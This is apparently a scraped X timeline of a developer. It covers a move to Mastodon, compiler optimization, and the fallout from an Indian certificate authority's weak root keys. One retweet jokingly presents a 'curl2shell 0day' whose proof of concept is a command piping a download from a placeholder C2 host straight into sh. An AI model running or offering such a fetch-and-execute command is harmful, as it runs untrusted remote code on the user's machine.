
This is to announce that I am moving away from X to Mastodon. mastodon.social/@CodingThund… is where I will be active now, and not here. Also this is probably my last day here. Just logged in to post this
#mastodon
Replying to @justmetolife @TrisH0x2A
Except for the fact that no C compiler since the last 30 years translates C to just assembly. it does a pass through optimization so can't directly compare the outputs
Yaksh Bariya retweeted
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
Yaksh Bariya retweeted
Good riddance. CAs should be perfect, impenetrable, impartial. If you screw up like this you should be instantly out of this business.
It's not some social network for pets, this has the same reliability requirements as flight pilot console.
Also see one of the other replies. Seems like the author of the original tweet themselves revealed the secret
I mean I know that md5 is broken, but still in order to brute force this, it'd take quite a bit of compute
Replying to @the_complex_one
Thanks, definitely sounds interesting. Great to see someone coming up. Would be very very excited to see this happen with or without me. All the best to you. I hope that investors do look into it.
I have a few more ideas as well we could use to work upon this gap we have.
Replying to @GrapheneOS @JohnSobased
Basically not just Pixels, but every phone out there designed with security in mind
Yaksh Bariya retweeted
India's tech dependence, 12/16: Every web address you type leaves India.
India runs none of the 13 root DNS servers. Local mirror copies cut delay, but the right to change the root zone stays outside India. Hosting a copy is not control.
That means a foreign actor could cut .in off the web in an extreme case. It also means the stream of Indian DNS lookups gives anyone along the path a map of who visits what, and when.
From my paper, The Sovereign Imperative: papers.ssrn.com/sol3/papers.…
Replying to @brokenpacifist
If it is, I'd be happy to bully another eMudhra again if they do something stupid like this
Replying to @HQuarterma43504
Lol, due to them I'm going to clean every package that ships their certs in @termux. Most of the major packages are already done
Replying to @CodingThunder @the_complex_one
Ofc you'll have to bring in the cash for the business. I'd like to focus more on the engineering side of things
Replying to @tokenbender
Don't worry now you and I will be labelled as anti nationals despite being more competent than whoever these guys hired
Yaksh Bariya retweeted
"impossible standards"
every time something like this happens i am deeply disgusted by the amount of vulgarity displayed in the name of nationalism.
every such episode makes the task of anyone trying to do good a hundred times harder. you celebrate incompetence and deserve to suffer its consequences not others.
Eztainutlacatl@cbkwglOct 22🇬🇧
United KingdomConnected via WebAccount-level information, not a live location or per-post device.
Now people should celebrate. An Indian company exits SSL/TLS business. Your witch-hunt and demand for impossible standards has worked.
Readers added context they thought people might want to know
Generating private keys with more than 3 digits for a world-trusted root certificate authority are not impossible standards. Badly generated keys may endanger - and have - the whole internet by breaking the most important encryption protocol.
theregister.com/security/2026/…
cloudflare.com/learning/ssl/w…
Replying to @hypervisor
cfe6baf2f5043faf83131052da1af02703f0e6388a6bfe7760ca899e84859e1b82d416a0f50f9eaf20154dec1fd29b30c97d27987863be44c91b730b4aa223b5
Replying to @dillon_mulroy @davekiss
Hmm, how did you manage to reverse it so quick considering the phrase is quite big
Replying to @CodingThunder @Apple
Seems to be revoked now. They weren't revoked till yesterday night. Just checked again, and my client didn't connect to them, great! But still too late, anyone knows why it took so long?











